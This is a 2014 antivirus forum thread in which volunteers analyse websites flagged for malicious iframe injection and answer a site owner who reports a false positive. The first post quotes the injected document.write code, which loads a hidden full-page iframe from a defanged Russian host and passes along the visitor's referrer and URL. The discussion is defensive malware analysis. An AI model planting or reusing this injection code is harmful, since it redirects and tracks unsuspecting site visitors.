Author Topic: avast detects all 15 malicious pages on site as AvastHTML:Iframe-inf.  (Read 2369 times)

0 Members and 1 Guest are viewing this topic.

Offline polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 34057
  • malware fighter
See: http://killmalware.com/truefiles.1eko.com/#
Bad web rep: https://www.mywot.com/en/scorecard/truefiles.1eko.com?utm_source=addon&utm_content=popup
Blacklist: http://quttera.com/detailed_report/truefiles.1eko.com
-http://www.cleanpcguide.com/wp-content/uploads/2014/03/windows-protection-suite.png
-http://www.mnn.com/sites/default/files/user/160942/brianskerrymanatee.jpg
-http://www.spectorsoft.com/lib-n/images/products/server-manager/screen/intelligent-reactions.png
-http://freepages.genealogy.rootsweb.ancestry.com/~nilsson/billandkay.jpg
-http://sites.google.com/site/bloggerstech/carcature/online-caricature-maker---caricature-me-4-full-body.png
-http://macapper.com/wp-content/uploads/2007/11/genius21.jpg
-http://cdn.shopify.com/s/files/1/0165/0758/products/newertech-11pc-toolkit_1024x1024.jpg%253fv%253d1372381469
-http://myweb.tiscali.co.uk/davidelement/steamlocomotives5_files/image012.jpg

Malware and blacklisting detection: http://sitecheck.sucuri.net/results/truefiles.1eko.com
Suspicious domain detected. Details: http://sucuri.net/malware/malware-entry-mwblacklisted35
Code: [Select]
document.write('<iframe width="100%" height="1000" frameborder="0" framespacing="0" scrolling="auto" src="htXp://bezsvyazi.ru/in.cgi?12&seoref='+encodeURIComponent(document.referrer)+'&parameter=$keyword&se=$se&ur=1&HTTP_REFERER='+encodeURIComponent(document.URL)+'&default_keyword=Jumpstart 5th Grade serial number">'); * http://google.com/safebrowsing/diagnostic?site=bezsvyazi.ru/&hl=en-US

Category   Reputation Index   Status
Phishing and Other Frauds
Request a new URL category     
10
Request URL Reputation change       
      High Risk
Spam Sources found   Windows Exploits
    Web Attacks           BotNets
    Scanners found   Denial of Service
    Reputation           Phishing
    Proxy found           Network -

pol
« Last Edit: November 17, 2014, 07:27:32 PM by polonus »
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!

REDACTED

  • Guest
Re: avast detects all 15 malicious pages on site as AvastHTML:Iframe-inf.
« Reply #1 on: November 26, 2014, 04:58:47 PM »
On our legitimate web site www.sigmasb.com.mk avast falsely detects virus. I have checked URL reputation on various sites and there is no problem whatsoever.

Please suggest solution in order to prevent problems our customers have when they open our web site.

Thanks.

Offline Pondus

  • Probably Bot
  • ****
  • Posts: 37699
Re: avast detects all 15 malicious pages on site as AvastHTML:Iframe-inf.
« Reply #2 on: November 26, 2014, 05:10:39 PM »
On our legitimate web site www.sigmasb.com.mk avast falsely detects virus. I have checked URL reputation on various sites and there is no problem whatsoever.

Please suggest solution in order to prevent problems our customers have when they open our web site.

Thanks.
outdated websoftware   http://sitecheck.sucuri.net/results/www.sigmasb.com.mk

was listed by scumware 11 months ago
https://www.virustotal.com/en/url/ea9b9abe92514387bcbc62004bda55945ef98464fc83a084d71ac71a987ee04f/analysis/

report it here  http://www.avast.com/en-eu/contact-us.php?subject=VIRUS-FILE

« Last Edit: November 26, 2014, 05:16:20 PM by Pondus »

Offline polonus

  • Avast Überevangelist
  • Probably Bot
  • *****
  • Posts: 34057
  • malware fighter
Re: avast detects all 15 malicious pages on site as AvastHTML:Iframe-inf.
« Reply #3 on: November 26, 2014, 05:41:24 PM »
There are some more security issues for site that should be addressed, like here: http://www.dnsinspect.com/sigmasb.com.mk/1417019169
Avast could have flagged Autson vulnerable extension(s).
Header security check: http://cyh.herokuapp.com/cyh (3 correct configurations).

polonus
Cybersecurity is more of an attitude than anything else. Avast Evangelists.

Use NoScript, a limited user account and a virtual machine and be safe(r)!

Offline Pondus

  • Probably Bot
  • ****
  • Posts: 37699
Re: avast detects all 15 malicious pages on site as AvastHTML:Iframe-inf.
« Reply #4 on: November 27, 2014, 08:05:20 AM »
Norman/BlueCoat confirms correct avast detection and added detection as  sigmasb.com.mk.htm: ClickJack.E

« Last Edit: November 27, 2014, 08:26:07 AM by Pondus »